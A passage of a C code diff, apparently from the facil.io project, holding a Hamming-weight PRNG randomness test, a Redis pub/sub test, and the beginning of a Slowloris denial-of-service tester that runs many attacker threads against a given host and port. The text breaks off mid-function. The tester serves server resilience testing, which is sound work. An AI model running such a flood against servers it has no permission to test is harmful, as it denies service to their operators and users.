+  x = x + (x >> 8);
+  x = x + (x >> 16);
+  return x & 0x7f;
+}
+#else
+#define popcount32(x) __builtin_popcount((uint32_t)x)
+#endif
+
+#endif
+
+/* Probability that the smallest of n numbers in [0..1) is <= x . */
+static double pco_scale(double x, double n) {
+  if (x >= 1.0 || x <= 0.0)
+    return x;
+
+  /* This is the result we want: return 1.0 - pow(1.0 - x, n); except the
+     important cases are with x very small so this method gives better
+     accuracy. */
+
+  return -expm1(log1p(-x) * n);
+}
+
+/* The idea of the test is based around Hamming weights. We calculate the
+   average number of bits per BITS-bit word and how it depends on the
+   weights of the previous DIM words. There are SIZE different categories
+   for the previous words. For each one accumulate number of samples
+   (get_count(cs[j]) and count_sum[j].c) and number of bits per sample
+   (get_sum(cs[j]) and count_sum[j].s) .
+
+   To increase cache hits, we pack a 13-bit unsigned counter (upper bits)
+   and a and a 19-bit unsigned sum of Hamming weights (lower bits) into a
+   uint32_t. It would make sense to use bitfields, but in this way
+   update_cs() can update both fields with a single sum. */
+
+static inline int get_count(uint32_t cs) { return cs >> SUM_BITS; }
+
+static inline int get_sum(uint32_t cs) { return cs & ((1 << SUM_BITS) - 1); }
+
+/* We add bc to the sum field of *p then add 1 to the count field. */
+static inline void update_cs(int bc, uint32_t *p) {
+  *p += bc + (1 << SUM_BITS);
+}
+
+#ifdef HWD_MMAP
+// "Small" counters/sums
+static uint32_t *cs;
+
+// "Large" counters/sums
+static struct {
+  uint64_t c;
+  int64_t s;
+} * count_sum;
+#else
+// "Small" counters/sums
+static uint32_t cs[SIZE];
+
+// "Large" counters/sums
+static struct {
+  uint64_t c;
+  int64_t s;
+} count_sum[SIZE];
+#endif
+
+#if HWD_BITS == 128
+
+/* Keeps track of the sum of values, as is in this case it is not
+   guaranteed not to overflow (but probability is infinitesimal if the
+   source is random). */
+static int64_t tot_sums;
+
+/* Copy accumulated numbers out of cs[] into count_sum, then zero the ones
+   in cs[]. We have to check explicitly that values do not overflow. */
+
+static void desat(const int64_t next_batch_size) {
+  int64_t c = 0, s = 0;
+
+  for (int i = 0; i < SIZE; i++) {
+    const int32_t st = cs[i];
+
+    const int count = get_count(st);
+    const int sum = get_sum(st);
+
+    c += count;
+    s += sum;
+
+    count_sum[i].c += count;
+    /* In cs[] the total Hamming weight is stored as actual weight. In
+       count_sum, it is stored as difference from expected average
+       Hamming weight, hence (BITS/2) * count */
+    count_sum[i].s += sum - (HWD_BITS / 2) * count;
+    cs[i] = 0;
+  }
+
+  if (c != next_batch_size || s != tot_sums) {
+    fprintf(stderr, "Counters or values overflowed. Seriously non-random.\n");
+    printf("p = %.3g\n", 1e-100);
+    exit(0);
+  }
+}
+
+#else
+
+/* Copy accumulated numbers out of cs[] into count_sum, then zero the ones
+   in cs[]. Note it is impossible for totals to overflow unless counts do. */
+
+static void desat(const int64_t next_batch_size) {
+  int64_t c = 0;
+
+  for (uint64_t i = 0; i < SIZE; i++) {
+    const int32_t st = cs[i];
+    const int count = get_count(st);
+
+    c += count;
+
+    count_sum[i].c += count;
+    /* In cs[] the total Hamming weight is stored as actual weight. In
+       count_sum, it is stored as difference from expected average
+       Hamming weight, hence (BITS/2) * ct */
+    count_sum[i].s += get_sum(st) - (HWD_BITS / 2) * count;
+    cs[i] = 0;
+  }
+
+  if (c != next_batch_size) {
+    fprintf(stderr, "Counters overflowed. Seriously non-random.\n");
+    printf("p = %.3g\n", 1e-100);
+    exit(0);
+  }
+}
+
+#endif
+
+/* sig is the last signature from the previous call. At each step it
+   contains an index into cs[], derived from the Hamming weights of the
+   previous DIM numbers. Considered as a base 3 number, the most
+   significant digit is the most recent trit. n is the batch size. */
+
+#if HWD_BITS == 32
+
+static inline uint32_t scan_batch(uint32_t sig, int64_t n, uint32_t *ts) {
+  uint32_t t = ts ? *ts : 0;
+  int bc;
+
+  for (int64_t i = 0; i < n; i++) {
+#if HWD_PRNG_BITS == 64
+    const uint64_t w64 = next();
+    uint32_t w32 = w64 >> 32;
+    if (ts) {
+      bc = popcount32(w32 ^ w32 << 1 ^ t);
+      t = w32 >> 31;
+    } else
+      bc = popcount32(w32);
+
+    update_cs(bc, cs + sig);
+    sig = DIV3(sig) + ((bc >= 15) + (bc >= 18)) * (SIZE / 3);
+
+    w32 = w64;
+
+    if (ts) {
+      bc = popcount32(w32 ^ w32 << 1 ^ t);
+      t = w32 >> 31;
+    } else
+      bc = popcount32(w32);
+
+    update_cs(bc, cs + sig);
+    sig = DIV3(sig) + ((bc >= 15) + (bc >= 18)) * (SIZE / 3);
+#else
+    const uint32_t w = next();
+    if (ts) {
+      bc = popcount32(w ^ w << 1 ^ t);
+      t = w >> 31;
+    } else
+      bc = popcount32(w);
+
+    update_cs(bc, cs + sig);
+    sig = DIV3(sig) + ((bc >= 15) + (bc >= 18)) * (SIZE / 3);
+#endif
+  }
+
+  if (ts)
+    *ts = t;
+  /* return the current signature so it can be passed back in on the next batch
+   */
+  return sig;
+}
+
+#elif HWD_BITS == 64
+
+static inline uint32_t scan_batch(uint32_t sig, int64_t n, uint64_t *ts) {
+  uint64_t t = ts ? *ts : 0;
+  int bc;
+
+  for (int64_t i = 0; i < n; i++) {
+    const uint64_t w = next();
+
+    if (ts) {
+      bc = popcount64(w ^ w << 1 ^ t);
+      t = w >> 63;
+    } else
+      bc = popcount64(w);
+
+    update_cs(bc, cs + sig);
+    sig = DIV3(sig) + ((bc >= 30) + (bc >= 35)) * (SIZE / 3);
+  }
+
+  if (ts)
+    *ts = t;
+  /* return the current signature so it can be passed back in on the next batch
+   */
+  return sig;
+}
+
+#else
+
+static inline uint32_t scan_batch(uint32_t sig, int64_t n, uint64_t *ts) {
+  uint64_t t = ts ? *ts : 0;
+  int bc;
+  tot_sums = 0; // In this case we have to keep track of the values, too
+
+  for (int64_t i = 0; i < n; i++) {
+    const uint64_t w0 = next();
+    const uint64_t w1 = next();
+
+    if (ts) {
+      bc = popcount64(w0 ^ w0 << 1 ^ t);
+      bc += popcount64(w1 ^ (w1 << 1) ^ (w0 >> 63));
+      t = w1 >> 63;
+    } else
+      bc = popcount64(w0) + popcount64(w1);
+
+    tot_sums += bc;
+    update_cs(bc, cs + sig);
+    sig = DIV3(sig) + ((bc >= 61) + (bc >= 68)) * (SIZE / 3);
+  }
+
+  if (ts)
+    *ts = t;
+  /* return the current signature so it can be passed back in on the next batch
+   */
+  return sig;
+}
+
+#endif
+
+/* Now we're out of the the accumulate phase, which is the inside loop.
+   Next is analysis. */
+
+/* Mostly a debugging printf, though it can tell you a bit about the
+   structure of a prng when it fails. Print sig out in base 3, least
+   significant digits first. This means the most recent trit is the
+   rightmost. */
+
+static void print_sig(uint32_t sig) {
+  for (uint64_t i = DIM; i > 0; i--) {
+    putchar(sig % 3 + '0');
+    sig /= 3;
+  }
+}
+
+#ifndef M_SQRT1_2
+/* 1.0/sqrt(2.0) */
+#define M_SQRT1_2 0.70710678118654752438
+#endif
+/* 1.0/sqrt(3.0) */
+#define CORRECT3 0.57735026918962576451
+/* 1.0/sqrt(6.0) */
+#define CORRECT6 0.40824829046386301636
+
+/* This is a transform similar in spirit to the Walsh-Hadamard transform
+  (see the paper). It's ortho-normal. So with independent normal
+  distribution mean 0 standard deviation 1 in, we get independent normal
+  distribution mean 0 standard deviation 1 out, except maybe for element 0.
+  And of course, for certain kinds of bad prngs when the null hypthosis is
+  false, some of these numbers will get extreme. */
+
+static void mix3(double *ct, int sig) {
+  double *p1 = ct + sig, *p2 = p1 + sig;
+  double a, b, c;
+
+  for (int i = 0; i < sig; i++) {
+    a = ct[i];
+    b = p1[i];
+    c = p2[i];
+    ct[i] = (a + b + c) * CORRECT3;
+    p1[i] = (a - c) * M_SQRT1_2;
+    p2[i] = (2 * b - a - c) * CORRECT6;
+  }
+
+  sig = DIV3(sig);
+  if (sig) {
+    mix3(ct, sig);
+    mix3(p1, sig);
+    mix3(p2, sig);
+  }
+}
+
+/* categorise sig based on nonzero ternary digits. */
+static int cat(uint32_t sig) {
+  int r = 0;
+
+  while (sig) {
+    r += (sig % 3) != 0;
+    sig /= 3;
+  }
+
+  return (r >= NUMCATS ? NUMCATS : r) - 1;
+}
+
+/* Apply the transform; then, compute, log and return the resulting p-value. */
+
+#ifdef HWD_MMAP
+static double *norm;
+#else
+static double norm[SIZE]; // This might be large
+#endif
+
+static double compute_pvalue(const bool trans) {
+  const double db = HWD_BITS * 0.25;
+
+  for (uint64_t i = 0; i < SIZE; i++) {
+    /* copy the bit count totals from count_sum[i].s to norm[i] with
+       normalisation. We expect mean 0 standard deviation 1 db is the
+       expected variance for Hamming weight of BITS-bit words.
+       count_sum[i].c is number of samples */
+    if (count_sum[i].c == 0)
+      norm[i] = 0.0;
+    else
+      norm[i] = count_sum[i].s / sqrt(count_sum[i].c * db);
+  }
+
+  /* The transform. The wonderful transform. After this we expect still
+     normalised to mean 0 stdev 1 under the null hypothesis. (But not for
+     element 0 which we will ignore.) */
+  mix3(norm, SIZE / 3);
+
+  double overall_pvalue = DBL_MAX;
+
+  /* To make the test more sensitive (see the paper) we split the
+     elements of norm into NUMCAT categories. These are based only on the
+     index into norm, not the content. We go though norm[], decide which
+     category each one is in, and record the signature (sig[]) and the
+     absolute value (sigma[]) For the most extreme value in each
+     category. Also a count (cat_count[]) of how many were in each
+     category. */
+
+  double sigma[NUMCATS];
+  uint32_t sig[NUMCATS], cat_count[NUMCATS] = {};
+  for (int i = 0; i < NUMCATS; i++)
+    sigma[i] = DBL_MIN;
+
+  for (uint64_t i = 1; i < SIZE; i++) {
+    const int c = cat(i);
+    cat_count[c]++;
+    const double x = fabs(norm[i]);
+    if (x > sigma[c]) {
+      sig[c] = i;
+      sigma[c] = x;
+    }
+  }
+
+  /* For each category, calculate a p-value, put the lowest into
+     overall_pvalue, and print something out. */
+  for (int i = 0; i < NUMCATS; i++) {
+    printf("mix3 extreme = %.5f (sig = ", sigma[i]);
+    print_sig(sig[i]);
+    /* convert absolute value of approximate normal into p-value. */
+    double pvalue = erfc(M_SQRT1_2 * sigma[i]);
+    /* Ok, that's the lowest p-value cherry picked out of a choice of
+       cat_count[i] of them. Must correct for that. */
+    pvalue = pco_scale(pvalue, cat_count[i]);
+    printf(") weight %s%d (%" PRIu32 "), p-value = %.3g\n",
+           i == NUMCATS - 1 ? ">=" : "", i + 1, cat_count[i], pvalue);
+    if (pvalue < overall_pvalue)
+      overall_pvalue = pvalue;
+  }
+
+  printf("bits per word = %d (analyzing %s); min category p-value = %.3g\n\n",
+         HWD_BITS, trans ? "transitions" : "bits", overall_pvalue);
+  /* again, we're cherry picking worst of NUMCATS, so correct it again. */
+  return pco_scale(overall_pvalue, NUMCATS);
+}
+
+static time_t tstart;
+static double low_pvalue = DBL_MIN;
+
+/* This is the call made when we want to print some analysis. This will be
+   done multiple times if --progress is used. */
+static void analyze(int64_t pos, bool trans, bool final) {
+
+  if (pos < 2 * pow(2.0 / (1.0 - P), DIM))
+    printf("WARNING: p-values are unreliable, you have to wait (insufficient "
+           "data for meaningful answer)\n");
+
+  const double pvalue = compute_pvalue(trans);
+  const time_t tm = time(0);
+
+  printf("processed %.3g bytes in %.3g seconds (%.4g GB/s, %.4g TB/h). %s\n",
+         (double)pos, (double)(tm - tstart), pos * 1E-9 / (double)(tm - tstart),
+         pos * (3600 * 1E-12) / (double)(tm - tstart), ctime(&tm));
+
+  if (final)
+    printf("final\n");
+  printf("p = %.3g\n", pvalue);
+
+  if (pvalue < low_pvalue)
+    exit(0);
+
+  if (!final)
+    printf("------\n\n");
+}
+
+static int64_t progsize[] = {
+    100000000, 125000000, 150000000, 175000000, 200000000, 250000000, 300000000,
+    400000000, 500000000, 600000000, 700000000, 850000000, 0};
+
+/* We use the all-one signature (the most probable) as initial signature. */
+static int64_t pos;
+static uint32_t last_sig = (SIZE - 1) / 2;
+static WTYPE ts;
+static int64_t next_progr = 100000000; // progsize[0]
+static int progr_index;
+
+static void run_test(const int64_t n, const bool trans, const bool progress) {
+
+  WTYPE *const p = trans ? &ts : NULL;
+
+  while (n < 0 || pos < n) {
+    int64_t next_batch_size = batch_size[DIM];
+    if (n >= 0 && (n - pos) / (HWD_BITS / 8) < next_batch_size)
+      next_batch_size = (n - pos) / (HWD_BITS / 8) & ~UINT64_C(7);
+
+    if (next_batch_size == 0)
+      break;
+    /* TEST_ITERATIONS() corrects batch_size depending on HWD_BITS and
+     * HWD_PRNG_BITS */
+    last_sig = scan_batch(last_sig, TEST_ITERATIONS(next_batch_size), p);
+    desat(next_batch_size);
+    pos += next_batch_size * (HWD_BITS / 8);
+
+    if (progress && pos >= next_progr) {
+      analyze(pos, trans, false);
+      progsize[progr_index++] *= 10;
+      next_progr = progsize[progr_index];
+      if (next_progr == 0) {
+        progr_index = 0;
+        next_progr = progsize[0];
+      }
+    }
+  }
+
+  analyze(pos, trans, true);
+}
+
+int main(int argc, char **argv) {
+  double dn;
+  int64_t n = -1;
+  bool trans = false, progress = false;
+
+#ifdef HWD_MMAP
+  fprintf(stderr, "Allocating memory via mmap()... ");
+  // (SIZE + 1) is necessary for a correct memory alignment.
+  cs = mmap(
+      (void *)(0x0UL),
+      (SIZE + 1) * sizeof *cs + SIZE * sizeof *norm + SIZE * sizeof *count_sum,
+      PROT_READ | PROT_WRITE,
+      MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB | (30 << MAP_HUGE_SHIFT), 0, 0);
+  if (cs == MAP_FAILED) {
+    fprintf(stderr, "Failed.\n");
+    exit(1);
+  }
+  fprintf(stderr, "OK.\n");
+  norm = (void *)(cs + SIZE + 1);
+  count_sum = (void *)(norm + SIZE);
+#endif
+
+  tstart = time(0);
+
+  for (int i = 1; i < argc; i++) {
+    if (strcmp(argv[i], "--progress") == 0)
+      progress = true;
+    else if (strcmp(argv[i], "-t") == 0)
+      trans = true;
+    else if (sscanf(argv[i], "%lf", &dn) == 1)
+      n = (int64_t)dn;
+    else if (sscanf(argv[i], "--low-pv=%lf", &low_pvalue) == 1) {
+    } else {
+      fprintf(stderr, "Optional arg must be --progress or -t or "
+                      "--low-pv=number or numeric\n");
+      exit(1);
+    }
+  }
+
+  if (n <= 0)
+    progress = true;
+
+  run_test(n, trans, progress);
+
+  exit(0);
+}

facil.io/tests/redis_cmd.c

@@ -0,0 +1,82 @@
+#include <fio.h>
+#include <redis_engine.h>
+
+static fio_lock_i global_lock = FIO_LOCK_INIT;
+
+static void ask4data_callback(fio_pubsub_engine_s *e, FIOBJ reply,
+                              void *udata) {
+
+  if (udata != (void *)0x01)
+    fprintf(stderr, "CRITICAL ERROR: redis callback udata mismatch (got %p)\n",
+            udata);
+  if (!FIOBJ_TYPE_IS(reply, FIOBJ_T_ARRAY)) {
+    fprintf(stderr,
+            "CRITICAL ERROR: redis callback return type mismatch (got %s)\n",
+            fiobj_type_name(reply));
+    return;
+  }
+  size_t count = fiobj_ary_count(reply);
+  fprintf(stderr, "Redis command results (%zu):\n", count);
+  for (size_t i = 0; i < count; ++i) {
+    fprintf(stderr, "* %s\n", fiobj_obj2cstr(fiobj_ary_index(reply, i)).data);
+  }
+  kill(SIGINT, 0);
+  (void)e;
+}
+static void ask4data(void *ignr) {
+  FIOBJ data = fiobj_ary_new();
+  fiobj_ary_push(data, fiobj_str_new("LRANGE", 6));
+  fiobj_ary_push(data, fiobj_str_new("pids", 4));
+  fiobj_ary_push(data, fiobj_num_new(0));
+  fiobj_ary_push(data, fiobj_num_new(-1));
+
+  (void)ignr;
+  redis_engine_send(FIO_PUBSUB_DEFAULT, data, ask4data_callback, (void *)0x01);
+  fiobj_free(data);
+  fprintf(stderr, "* (%d) Asked redis for info.\n", getpid());
+  (void)ignr;
+}
+
+static void after_fork(void *ignr) {
+  if (fio_is_master()) {
+    fio_trylock(&global_lock);
+    return;
+  }
+  if (fio_trylock(&global_lock) == 0) {
+    /* runs only once */
+    fio_run_every(2000, 1, ask4data, NULL, NULL);
+  }
+  FIOBJ data = fiobj_ary_new();
+  fiobj_ary_push(data, fiobj_str_new("LPUSH", 5));
+  fiobj_ary_push(data, fiobj_str_new("pids", 4));
+  if (0) {
+    /* nested arrays... but lists can't contain them */
+    FIOBJ tmp = fiobj_ary_new2(2);
+    fiobj_ary_push(tmp, fiobj_str_new("worker pid", 10));
+    fiobj_ary_push(tmp, fiobj_str_copy(fiobj_num_tmp(getpid())));
+    fiobj_ary_push(data, tmp);
+  } else {
+    /* lists contain only Strings, so we need a string */
+    fiobj_ary_push(data, fiobj_str_copy(fiobj_num_tmp(getpid())));
+  }
+  redis_engine_send(FIO_PUBSUB_DEFAULT, data, NULL, NULL);
+  fiobj_free(data);
+  fprintf(stderr, "* (%d) Sent info to redis.\n", getpid());
+  (void)ignr;
+}
+
+static void start_shutdown(void *ignr) {
+  if (fio_is_master())
+    fio_stop();
+  (void)ignr;
+}
+
+int main(void) {
+  fio_pubsub_engine_s *r = redis_engine_create(.ping_interval = 1);
+  FIO_PUBSUB_DEFAULT = r;
+  fio_run_every(10000, 1, start_shutdown, NULL, NULL);
+  fio_state_callback_add(FIO_CALL_AFTER_FORK, after_fork, NULL);
+  fio_start(.workers = 4);
+  redis_engine_destroy(r);
+  return 0;
+}

facil.io/tests/slowloris.c

@@ -0,0 +1,547 @@
+/*
+Copyright 2019, Boaz Segev
+License: ISC
+
+License limitations: May only be used for security testing and with permission
+of target device.
+*/
+
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+
+/* I can't seem to remember which onse I actually use... */
+#include <ctype.h>
+#include <errno.h>
+#include <limits.h>
+#include <pthread.h>
+#include <signal.h>
+#include <stdarg.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <strings.h>
+#include <sys/mman.h>
+#include <time.h>
+#include <unistd.h>
+
+#include <netdb.h>
+#include <netinet/in.h>
+#include <netinet/tcp.h>
+
+#include <poll.h>
+#include <sys/ioctl.h>
+#include <sys/resource.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/un.h>
+#include <sys/wait.h>
+
+#include <arpa/inet.h>
+
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <unistd.h>
+
+#define ASSERT_COND(cond, ...)                                                 \
+  do {                                                                         \
+    if (!(cond)) {                                                             \
+      fprintf(stderr, __VA_ARGS__);                                            \
+      perror("\n\terrno");                                                     \
+      exit(-1);                                                                \
+    }                                                                          \
+  } while (0)
+
+/* *****************************************************************************
+Global State and Settings
+***************************************************************************** */
+
+#define RESULT_FAILED 2
+#define RESULT_UNKNOWN 1
+#define RESULT_PASSED 0
+
+#define TEST_TIME 20 /* test time in seconds 0 == inifinity */
+#define USE_PIPELINING 1
+#define PRINT_PAGE_OF_DATA 1
+#define MTU_LIMIT (524)
+
+static size_t ATTACKERS = 24;
+static volatile uint8_t flag = 1;
+static const char *address;
+static const char *port;
+
+static size_t total_requests;
+static size_t total_reads;
+static size_t total_eof;
+static size_t total_disconnections;
+static size_t total_attempts;
+static size_t total_failures;
+static size_t total_success;
+static size_t max_wait;
+
+static const char HTTP_REQUEST_HEAD[] =
+    "GET / HTTP/1.1\r\nConnection: keep-alive\r\nHost: ";
+static char MSG_OUTPUT[1024]; /* pipelined requests in MTU */
+static size_t MSG_LEN;
+static size_t REQ_PER_MSG;
+
+/* copies an HTTP request to the internal buffer */
+static void prep_msg(void) {
+  ASSERT_COND(strlen(address) < 512, "host name too long");
+  if (USE_PIPELINING) {
+    MSG_LEN = strlen(HTTP_REQUEST_HEAD) + strlen(address) + 4;
+    REQ_PER_MSG = 1;
+    memcpy(MSG_OUTPUT, HTTP_REQUEST_HEAD, strlen(HTTP_REQUEST_HEAD));
+    memcpy(MSG_OUTPUT + strlen(HTTP_REQUEST_HEAD), address, strlen(address));
+    MSG_OUTPUT[MSG_LEN - 4] = '\r';
+    MSG_OUTPUT[MSG_LEN - 3] = '\n';
+    MSG_OUTPUT[MSG_LEN - 2] = '\r';
+    MSG_OUTPUT[MSG_LEN - 1] = '\n';
+  } else {
+    memcpy(MSG_OUTPUT, HTTP_REQUEST_HEAD, strlen(HTTP_REQUEST_HEAD));
+    memcpy(MSG_OUTPUT + strlen(HTTP_REQUEST_HEAD), address, strlen(address));
+    MSG_LEN = strlen(HTTP_REQUEST_HEAD) + strlen(address) + 4;
+    REQ_PER_MSG = MTU_LIMIT / MSG_LEN;
+    MSG_OUTPUT[MSG_LEN - 4] = '\r';
+    MSG_OUTPUT[MSG_LEN - 3] = '\n';
+    MSG_OUTPUT[MSG_LEN - 2] = '\r';
+    MSG_OUTPUT[MSG_LEN - 1] = '\n';
+    if (!REQ_PER_MSG)
+      REQ_PER_MSG = 1;
+    for (size_t i = 1; i < REQ_PER_MSG; ++i) {
+      memcpy(MSG_OUTPUT + (i * MSG_LEN), MSG_OUTPUT, MSG_LEN);
+    }
+    MSG_LEN *= REQ_PER_MSG;
+  }
+}
+
+/* handles the SIGUSR1, SIGINT and SIGTERM signals. */
+static void sig_int_handler(int sig) {
+  signal(SIGINT, SIG_DFL);
+  switch (sig) {
+  case SIGINT:  /* fallthrough */
+  case SIGTERM: /* fallthrough */
+    flag = 0;
+    break;
+  default:
+    break;
+  }
+}
+
+/* *****************************************************************************
+Tester functions
+***************************************************************************** */
+
+/* error reporting for server test */
+typedef enum {
+  SERVER_OK,
+  OPENFILE_LIMIT,
+  CONNECTION_FAILED,
+  REQUEST_FAILED,
+  RESPONSE_TIMEOUT,
+} test_err_en;
+
+/** Opens a connection and sends a single HTTP request. */
+static test_err_en test_server(size_t timeout);
+
+/* a single attack connection */
+static void attack_server(void);
+
+/* a single attacker thread */
+static void *attack_server_task(void *ignr_);
+
+/* a single tester thread */
+static void *test_server_task(void *ignr_);
+
+/* *****************************************************************************
+Main attack function
+***************************************************************************** */
+
+int main(int argc, char const *argv[]) {
+  int result = 0;
+  ASSERT_COND(argc == 3 || argc == 4,
+              "\nTo test HTTP/1.1 server against Slowloris, "
+              "use: %s addr port [attackers]\ni.e.:\n\t\t%s example.com 80"
+              "\n\t\t%s localhost 3000 24",
+              argv[0], argv[0], argv[0]);
+  /* initialize stuff */
+  signal(SIGPIPE, SIG_IGN);
+  signal(SIGINT, sig_int_handler);
+  signal(SIGTERM, sig_int_handler);
+
+  if (argc == 4 && atol(argv[3]) > 0)
+    ATTACKERS = atol(argv[3]);
+
+  address = argv[1];
+  port = argv[2];
+  prep_msg();
+
+  switch (test_server(5)) {
+  case SERVER_OK:
+    fprintf(stderr, "* PASSED sanity test.\n");
+    break;
+  case OPENFILE_LIMIT:
+    ASSERT_COND(0, "FAILED to connect to %s:%s - no open files available?",
+                address, port);
+    break;
+  case CONNECTION_FAILED:
+    ASSERT_COND(0, "FAILED to connect to %s:%s", address, port);
+    break;
+  case REQUEST_FAILED:
+    ASSERT_COND(0, "FAILED to send request to %s:%s", address, port);
+    break;
+  case RESPONSE_TIMEOUT:
+    ASSERT_COND(0, "FAILED, response timed out for %s:%s", address, port);
+    break;
+  }
+
+  fprintf(stderr, "* Starting %zu attack loops, with %zu bytes per request.\n",
+          ATTACKERS, MSG_LEN / REQ_PER_MSG);
+  size_t thread_count = 0;
+  pthread_t *threads = calloc(sizeof(*threads), ATTACKERS + 1);
+  ASSERT_COND(threads, "couldn't allocate memoryt for thread data store");
+
+  time_t start = 0;
+  time(&start);
+  for (size_t i = 0; i < ATTACKERS; ++i) {
+    if (pthread_create(threads + thread_count, NULL, attack_server_task,
+                       NULL) == 0)
+      ++thread_count;
+  }
+  if (pthread_create(threads + thread_count, NULL, test_server_task, NULL) == 0)
+    ++thread_count;
+  if (!thread_count) {
+    attack_server();
+    test_server_task(NULL);
+  } else if (TEST_TIME) {
+    for (int i = 0; i < TEST_TIME && flag; ++i) {
+      const struct timespec tm = {.tv_sec = 1};
+      nanosleep(&tm, NULL);
+    }
+    flag = 0;
+    fprintf(stderr, "* Stopping test...\n");
+  }
+  while (thread_count) {
+    --thread_count;
+    pthread_join(threads[thread_count], NULL);
+  }
+  time_t end = 0;
+  time(&end);
+
+  fprintf(stderr,
+          "Stats:\n"
+          "\tTest length: %zu seconds\n"
+          "\tConcurrent attackers: %zu\n"
+          "\tRequests sent: %zu\n"
+          "\tBytes sent: %zu\n"
+          "\tBytes received: %zu\n"
+          "\tSucceful requests: %zu / %zu\n"
+          "\tDisconnections: %zu\n"
+          "\tEOF on attempted read: %zu\n"
+          "\tSlowest test cycle: %zu\n",
+          end - start, ATTACKERS, total_requests,
+          (total_requests * (MSG_LEN / REQ_PER_MSG)), total_reads,
+          total_success, total_attempts, total_disconnections, total_eof,
+          max_wait);
+
+  if (max_wait > 5 || total_attempts != total_success) {
+    result = RESULT_FAILED;
+    fprintf(stderr, "FAILED! the server experienced DoS at least once or "
+                    "took more than 10 seconds to respond.\n");
+  } else if ((max_wait > 1 ||
+              ((total_disconnections / 2) / (end - start) == 0)) &&
+             !total_eof) {
+    result = RESULT_UNKNOWN;
+    fprintf(stderr, "Unknown. Server may have been partially effected.\n");
+  } else {
+    result = RESULT_PASSED;
+    fprintf(stderr, "PASSED.\n");
+  }
+  return result;
+}
+
+/* *****************************************************************************
+Aomic operation helpers
+***************************************************************************** */
+
+/* C11 Atomics are defined? */
+#if defined(__ATOMIC_RELAXED)
+/** An atomic addition operation */
+#define atomic_add(p_obj, value)                                               \
+  __atomic_add_fetch((p_obj), (value), __ATOMIC_SEQ_CST)
+/** An atomic subtraction operation */
+/* Select the correct compiler builtin method. */
+#elif __has_builtin(__sync_add_and_fetch)
+#define atomic_add(p_obj, value) __sync_add_and_fetch((p_obj), (value))
+#elif __GNUC__ > 3
+/** An atomic addition operation */
+#define atomic_add(p_obj, value) __sync_add_and_fetch((p_obj), (value))
+#else
+#error Required builtin "__sync_add_and_fetch" not found.
+#endif
+
+/* *****************************************************************************
+IO Helpers
+***************************************************************************** */
+
+static int set_non_block(int fd) {
+/* If they have O_NONBLOCK, use the Posix way to do it */
+#if defined(O_NONBLOCK)
+  /* Fixme: O_NONBLOCK is defined but broken on SunOS 4.1.x and AIX 3.2.5. */
+  int flags;
+  if (-1 == (flags = fcntl(fd, F_GETFL, 0)))
+    flags = 0;
+  // printf("flags initial value was %d\n", flags);
+  return fcntl(fd, F_SETFL, flags | O_NONBLOCK | O_CLOEXEC);
+#elif defined(FIONBIO)
+  /* Otherwise, use the old way of doing it */
+  static int flags = 1;
+  return ioctl(fd, FIONBIO, &flags);
+#else
+#error No functions / argumnet macros for non-blocking sockets.
+#endif
+}
+
+/** Opens a TCP/IP connection using a blocking IO socket */
+static int __attribute__((unused)) connect2tcp(const char *a, const char *p) {
+  /* TCP/IP socket */
+  struct addrinfo hints = {0};
+  struct addrinfo *addrinfo;       // will point to the results
+  memset(&hints, 0, sizeof hints); // make sure the struct is empty
+  hints.ai_family = AF_UNSPEC;     // don't care IPv4 or IPv6
+  hints.ai_socktype = SOCK_STREAM; // TCP stream sockets
+  hints.ai_flags = AI_PASSIVE;     // fill in my IP for me
+  if (getaddrinfo(a, p, &hints, &addrinfo)) {
+    // perror("addr err");
+    return -1;
+  }
+  // get the file descriptor
+  int fd =
+      socket(addrinfo->ai_family, addrinfo->ai_socktype, addrinfo->ai_protocol);
+  if (fd == -1 || set_non_block(fd) < 0) {
+    freeaddrinfo(addrinfo);
+    return -1;
+  }
+
+  int one = 1;
+  setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one));
+  errno = 0;
+  for (struct addrinfo *i = addrinfo; i; i = i->ai_next) {
+    if (connect(fd, i->ai_addr, i->ai_addrlen) == 0 || errno == EINPROGRESS)
+      goto socket_okay;
+    perror("Connect failed...");
+  }
+  freeaddrinfo(addrinfo);
+  close(fd);
+  return -1;
+socket_okay:
+  freeaddrinfo(addrinfo);
+  return fd;
+}
+
+/* *****************************************************************************
+Polling Helpers
+***************************************************************************** */
+
+/** Waits for socket to become available for either reading or writing */
+static inline int wait__internal(int fd, uint16_t events) {
+  errno = 0;
+  int i = 0;
+  if (fd == -1)
+    goto badfd;
+  struct pollfd ls = {.fd = fd, .events = events};
+  i = poll(&ls, 1, 1000);
+  if (i > 0) {
+    if ((ls.revents & POLLHUP) || (ls.revents & POLLERR) ||
+        (ls.revents & POLLNVAL))
+      goto badfd;
+    return 0;
+  }
+  switch (errno) {
+  case EFAULT: /* overflow */
+  case EINVAL: /* overflow */
+  case ENOMEM: /* overflow */
+    return -1;
+  }
+  errno = EWOULDBLOCK;
+  return -1;
+badfd:
+  errno = EBADF;
+  return -1;
+}
+
+/** Waits for socket to become available for either reading or writing */
+static __attribute__((unused)) int wait4fd(int fd) {
+  return wait__internal(fd, POLLIN | POLLOUT);
+}
+/** Waits for socket to become available for reading */
+static __attribute__((unused)) int wait4read(int fd) {
+  return wait__internal(fd, POLLIN);
+}
+/** Waits for socket to become available for reading */
+static __attribute__((unused)) int wait4write(int fd) {
+  return wait__internal(fd, POLLOUT);
+}
+
+/* *****************************************************************************
+Test
+***************************************************************************** */
+
+static test_err_en test_server(size_t timeout) {
+  int fd = connect2tcp(address, port);
+
+  if (fd == -1) {
+    if (errno == EMFILE || errno == ENFILE || errno == ENOMEM)
+      return OPENFILE_LIMIT;
+    return CONNECTION_FAILED;
+  }
+
+  time_t start = 0;
+  time(&start);
+
+  size_t blocks = 0;
+  while (wait4write(fd) < 0) {
+    if (errno != EWOULDBLOCK || ++blocks >= timeout || !flag) {
+      /* timeout / error / stop */
+      close(fd);
+      if (!flag)
+        return SERVER_OK;
+      return CONNECTION_FAILED;
+    }
+  }
+
+  // fprintf(stderr, "* TEST: connected to %s:%s\n", address, port);
+  if (write(fd, MSG_OUTPUT, MSG_LEN / REQ_PER_MSG) !=
